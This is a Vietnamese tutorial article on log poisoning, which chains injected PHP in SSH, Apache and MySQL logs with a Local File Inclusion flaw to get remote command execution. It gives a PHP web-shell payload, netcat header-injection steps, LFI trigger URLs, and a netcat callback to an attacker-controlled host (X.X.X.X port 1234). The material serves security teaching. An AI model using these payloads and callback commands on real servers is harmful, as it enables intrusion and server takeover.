18/09/2018, 10:49

Kỹ thuật Log poisoning để khai thác lỗ hổng File Inclusion

Bài viết sẽ trình bày một vài kịch bản có thể tận dụng một số cơ chế ghi log trên máy chủ để chiếm quyền điều khiển và thực thi mã từ xa trên máy chủ. Phương pháp này được gọi là Log poisoning – thực hiện lây nhiễm mã độc vào tệp tin nhật ký. Chúng ta có thể sử dụng cách chèn tập tin từ máy chủ ...

Bài viết sẽ trình bày một vài kịch bản có thể tận dụng một số cơ chế ghi log trên máy chủ để chiếm quyền điều khiển và thực thi mã từ xa trên máy chủ. Phương pháp này được gọi là Log poisoning – thực hiện lây nhiễm mã độc vào tệp tin nhật ký. Chúng ta có thể sử dụng cách chèn tập tin từ máy chủ nội bộ thông qua một lỗ hổng quen thuộc – Local File Inclusion để chèn mã độc và thực thi lệnh tùy ý trên hệ thống.

Giới thiệu

Trước khi đi vào nội dung vấn đề, chúng ta cần biết một chút về máy chủ và cơ chế ghi log của chúng.

Một máy chủ web thường chứa một vài dịch vụ khác nhau như SSH, Apache, MySQL, FTP … Hầu hết các dịch vụ này đều có các tệp tin log và được lưu trữ ngay tại máy chủ. Đường dẫn và tên file log tùy thuộc vào hệ điều hành mà máy chủ đang chạy. Trong bài viết chúng ta sẽ tập trung vào dữ liệu nhật ký của SSH, Apache và MySQL.

Làm thế nào để có thể khai thác các tệp tin nhật ký này? Tất cả các tệp tin nhật ký sẽ đều chứa thông tin về các hoạt động khác nhau, được thực hiện bởi một dịch vụ đang chạy trên hệ thống. Và nếu chúng ta có thể kiểm soát một vài thông tin trong đó, chúng ta có thể tiêm nhiễm các mã độc tùy ý. Việc chèn các mã độc từ xa kết hợp với lỗ hổng Local File Inclusion có thể dẫn đến hậu quả rất nghiêm trọng.

Giới thiệu sơ lược về log, cách chúng hoạt động và thông tin lưu trữ trong log.

Dữ liệu nhật ký của SSH

SSH viết tắt của Secure Shell, là một giao thức được sử dụng để kết nối và điều khiển một thiết bị. Nó cho phép bạn thực thi lệnh, quản lí thiết bị từ xa. Các lệnh đăng nhập vào thiết bị từ xa thông qua SSH như sau:

ssh <user>@<ip/domain>
ssh <ip/domain> -l <user>

Khi người dùng cố gắng kết nối đến thiết bị thông qua SSH sẽ được ghi lại vào một tệp tin nhật ký kiểu như auth.log. Thông điệp được ghi lại phụ thuộc vào kết quả của một lần đăng nhập.

Đăng nhập thành công

Accepted password from <user> from <ip> port ......

Đăng nhập thất bại

Failed password from <user> from <ip> port ......

Dữ liệu nhật ký của Apache

Apache là một máy chủ web được sử dụng rất phổ biến để triển khai các hệ thống website. Nó có hai tệp tin nhật ký chính là nhật ký truy cập và nhật ký ghi lại các báo lỗi của hệ thống. Nhật ký truy cập chứa thông tin về tất cả các yêu cầu được gửi lên máy chủ và nhật ký thông báo lỗi chứa thông điệp lỗi của hệ thống. Phần chúng ta quan tâm là nhật ký truy cập. Cấu trúc của tệp tin chứa thông tin nhật ký truy cập như sau (tùy từng loại cấu hình có thể có các định dạng khác nhau, tuy nhiên về cơ bản nó cung cấp các thông tin tương tự như dòng dữ liệu bên dưới):

127.0.0.1 - - [06/Nov/2014:17:14:31 +0100] "GET / HTTP/1.1" 200 7562 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/37.0.2062.120 Chrome/37.0.2062.120 Safari/537.36"

Chúng ta sẽ chia dòng dữ liệu này thành 3 phần:

  1. "GET / HTTP/1.1": Phương thức request
  2. "-": Referer
  3. "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/37.0.2062.120 Chrome/37.0.2062.120 Safari/537.36" : Thông tin về máy khách đã gửi yêu cầu đến (User agent).

Tất cả các giá trị này đều dễ dàng thay đổi bởi người dùng.

Dữ liệu nhật ký của MySQL

Nếu dữ liệu nhật ký của MySQL được kích hoạt nó sẽ ghi loại toàn bộ các yêu cầu gửi vào cơ sở dữ liệu, chúng ta có thể khai thác bất kì dữ liệu đầu vào từ website đến cơ sở dữ liệu. Ví dụ về một dòng dữ liệu nhật ký của MySQL:

141106 18:50:57	  269 Query	select id,username,password from accounts where username = 'fubar'

Giá trị mà chúng ta quan tâm ở đây hoàn toàn phụ thuộc vào ứng dụng và những gì được đưa vào cơ sở dữ liệu. Trong ví dụ mô tả việc thực hiện yêu cầu đăng nhập, tìm kiếm ID, tên đăng nhập và mật khẩu của người dùng “fubar”. Nếu dữ liệu đầu vào phần tên đăng nhập không có các biện pháp bảo vệ, ta có thể lợi dụng để thực thi thi mã cũng như khai thác các thông tin từ CSDL (Lỗ hổng SQL Injection).

Kỹ thuật Log Poisioning

Loại tấn công này gồm hai phần, đầu tiên là việc lây nhiễm mà độc vào tệp tin nhật ký của hệ thống và phần thứ hai đó chính là việc kích hoạt, thực thi các mã độc đó. Payload mà chúng ta sẽ sử dụng cho loại tấn công này:

"<?php passthru($_GET['cmd']); ?>"

Hàm passthru() được sử dụng để thực thi các lệnh hệ thống trên máy chủ. Biến $_GET['cmd'] sẽ lấy các nội dung từ biến GET ‘cmd’ thông qua tham số cmd trong URL và đưa vào hàm passthru().

Một số phương thức khác thay thế passthru() cũng có thể được sử dụng là các hàm trong PHP như:

  • system
  • exec
  • shell_exec

Phần 1: Lây nhiễm mã độc

1. Lây nhiễm thông qua nhật ký SSH

Chúng ta sẽ kiểm soát tên đăng nhập đã có trong hệ thống. Tất cả những gì ta cần làm là tạo một dữ liệu nhật ký trong khi thực hiện đăng nhập đến máy chủ chứa các mã PHP như đã nói ở  trên để sử dụng trong phần tiếp theo.

ssh <domain/ip> -l "<?php passthru($_GET[‘cmd’]); ?>"

Khi tạo ra một request như vậy, trong dữ liệu nhật ký của SSH sẽ tạo ra một dòng có nội dung như sau:

Failed password from from<?php passthru($_GET['cmd']); ?> from <ip> port .....

2. Lây nhiễm thông qua nhật ký Apache

Phần tiếp theo là nhật ký truy cập của Apache. Cách tiếp cận này khá phổ thông và bạn có thể tìm thấy trong nhiều bài viết trên Google với từ khóa “local file inclusion access log”.

Có nhiều cách tiếp cận đồng nghĩa với nhiều cách tấn công khác nhau. Chúng ta có thể sử dụng một công cụ proxy như TamperData hay Burpsuite để can thiệp vào nội dung yêu cầu gửi đi, hoặc bạn cũng có thể gửi request thông qua netcat, curl. Bài viết sẽ hướng dẫn cách gửi request bằng netcat.

Chúng ta thiết lập request ban đầu bằng cách gửi dòng lệnh dưới đây (thay thế “localhost” bằng bất kì tên miền nào bạn muốn tấn công).

nc localhost 80

Ta sẽ nhập các header để gửi đi

GET / HTTP/1.1
Host: localhost
Referer:<?php passthru($_GET['cmd']); ?>
User-Agent:<?php passthru($_GET['cmd']); ?>

Chúng ta sử dụng 3 giá trị mà trước đó đã tạo ra trong tệp tin nhật ký của SSH. Nhật lý truy cập sẽ lưu lại các giá trị này có dạng như sau:

127.0.0.1 - - [06/Nov/2014:19:10:15 +0100] "GET / HTTP/1.1" 404 455 "<?php passthru($_GET['cmd']); ?>" "<?php passthru($_GET['cmd']); ?>"

3. Lây nhiễm thông qua nhật ký MySQL

Tương tự chúng ta có thể thực hiện trực tiếp trên ứng dụng web. Ví dụ một form đăng nhập hay bất kì nơi nào bạn có thể nhập dữ liệu vào cơ sở dữ liệu.

707 Query SELECT * FROM accounts WHERE username='<?php passthru($_GET[1]); ?>' AND password='<?php passthru($_GET[2]); ?>'

Chúng ta sử dụng số nguyên 1 và 2 trong khóa $_GET để tránh bất kì string escaping có thể phá hỏng mã độc.

Như vậy là  chúng ta đã chèn được mã khai thác vào 3 loại dữ liệu nhật ký của hệ thống, về cơ bản mục đích là ta chèn được mã khai thác và một tệp tin nào đó để ta có thể gọi đến nó và thực thi mã trên đó.

Phần 2: Thực thi mã độc

Sau khi lây nhiễm thành công mã độc, đã đến lúc kết hợp lỗ hổng File Inclusion để thực thi các mã PHP này. Để chắc chắn chúng ta có thể chèn thêm vào đó nhiều hơn 1 mã khai thác, ví dụ

http://example.com/?file=/path/to/file.log&cmd=echo first&cmd2=echo second&cmd3=echo third

Dùng 3 tham số sẽ cho chúng ta biết được tham số nào có thể sử dụng. Mã nguồn sẽ cho chúng ta kết quả như sau:

2
3
4
5
6
....
127.0.0.1 - - [27/Dec/2014:10:33:25 +0100] "GET /first
HTTP/1.1" 404 501 "third
" "second
"
....

Ta có thể thấy “first” hiển thị ngay sau / đồng nghĩa với việc ta có thể sử dụng tham số “cmd”. Loại bỏ “cmd2″ và cmd3” và thay đổi payload thú vị hơn.

http://example.com/?file=/path/to/access.log&cmd=ls -la

Và output nhận được

....
-rwxrwxr-x 1 www-data www-data 6991 Oct 10 22:19 document-viewer.php
drwxrwxr-x 2 www-data www-data 4096 Dec 3 20:12 documentation
-rwxrwxr-x 1 www-data www-data 1150 Oct 10 22:19 favicon.ico
-rwxrwxr-x 1 www-data www-data 1437 Oct 10 22:19 framer.html
-rwxrwxr-x 1 www-data www-data 1131 Oct 10 22:19 framing.php
-rwxrwxr-x 1 www-data www-data 1610 Oct 10 22:19 hackers-for-charity.php
-rwxrwxr-x 1 black black 5512 Dec 3 20:12 home.php
-rwxrwxr-x 1 www-data www-data 8899 Oct 10 22:19 html5-storage.php
drwxrwxr-x 3 www-data www-data 4096 Oct 10 22:19 images
drwxrwxr-x 4 www-data www-data 4096 Dec 3 20:12 includes
-rwxrwxr-x 1 black black 24881 Dec 3 20:12 index.php
-rwxrwxr-x 1 www-data www-data 7743 Oct 10 22:19 installation.php
drwxrwxr-x 5 www-data www-data 4096 Oct 10 22:19 javascript
-rwxrwxr-x 1 www-data www-data 6929 Oct 10 22:19 login.php
drwxrwxr-x 4 www-data www-data 4096 Oct 10 22:19 owasp-esapi-php
-rwxrwxr-x 1 www-data www-data 303 Oct 10 22:19 page-not-found.php
-rwxrwxr-x 1 www-data www-data 3881 Oct 10 22:19 password-generator.php
drwxrwxr-x 2 www-data www-data 4096 Oct 10 22:19 passwords
-rwxrwxr-x 1 www-data www-data 10010 Oct 10 22:19 pen-test-tool-lookup-ajax.php
-rwxrwxr-x 1 www-data www-data 11250 Oct 10 22:19 pen-test-tool-lookup.php
-rwxrwxr-x 1 www-data www-data 1182 Oct 10 22:19 php-errors.php
-rwxrwxr-x 1 www-data www-data 2034 Oct 10 22:19 phpinfo.php
drwxrwxr-x 8 www-data www-data 4096 Oct 10 22:19 phpmyadmin
-rwxrwxr-x 1 www-data www-data 157 Oct 10 22:19 phpmyadmin.php
-rwxrwxr-x 1 www-data www-data 1747 Oct 10 22:19 privilege-escalation.php
-rwxrwxr-x 1 www-data www-data 5414 Oct 10 22:19 process-commands.php
-rwxrwxr-x 1 www-data www-data 5049 Oct 10 22:19 redirectandlog.php
-rwxrwxr-x 1 www-data www-data 6426 Oct 10 22:19 register.php
-rwxrwxr-x 1 www-data www-data 830 Oct 10 22:19 rene-magritte.php
-rwxrwxr-x 1 www-data www-data 8896 Oct 10 22:19 repeater.php
-rwxrwxr-x 1 www-data www-data 1473 Oct 10 22:19 robots-txt.php
-rwxrwxr-x 1 www-data www-data 190 Oct 10 22:19 robots.txt
....

Giờ thì ta đã có thể thực thi lệnh trên máy chủ nạn nhân. Ta có thể sử dụng nó để tải lên hoặc download về một tệp tin Shell (Backdoor) để dễ dàng thao tác hơn với hệ thống, chiếm quyền máy chủ. Ví dụ một cách phổ biến là

  1. Thiết lập một máy chủ khác làm nhiệm vụ tấn công, ta thực hiện mở terminal và gõ lệnh sau để thực hiện kết nối trên công 1234
    $ nc -lp 1234 -vvv
  2. Từ máy mục tiêu ta thực hiện lệnh kết nối đến máy chủ ta đã mở cổng 1234 ở trên bằng việc gửi yêu cầu như bên dưới đến.
    http://example.com/?file=/path/to/access.log&cmd=nc X.X.X.X 1234 (X.X.X.X là địa chỉ IP của máy chủ Listener).

Quay trở lại terminal bạn sẽ thấy một kết nối đã được thiết lập. Bạn sẽ bị giới hạn quyền người dùng tại máy chủ web. Nhưng từ đây bằng cách nào đó ta có thể nâng được quyền (lỗ hổng phần mềm hoặc kiểm tra xem hệ thống có đang dùng tài khoản CSDL là quyền root hay không).

Trong hoàn cảnh nào thì có thể local file inclusion thông qua log poisoning?

Các file log thông thường chỉ có thể đọc bởi quản trị viên điều hành máy chủ web. Nhưng có trường hợp quản trị viên cấu hình kém sẽ dẫn đến dễ dàng bị khai thác.

0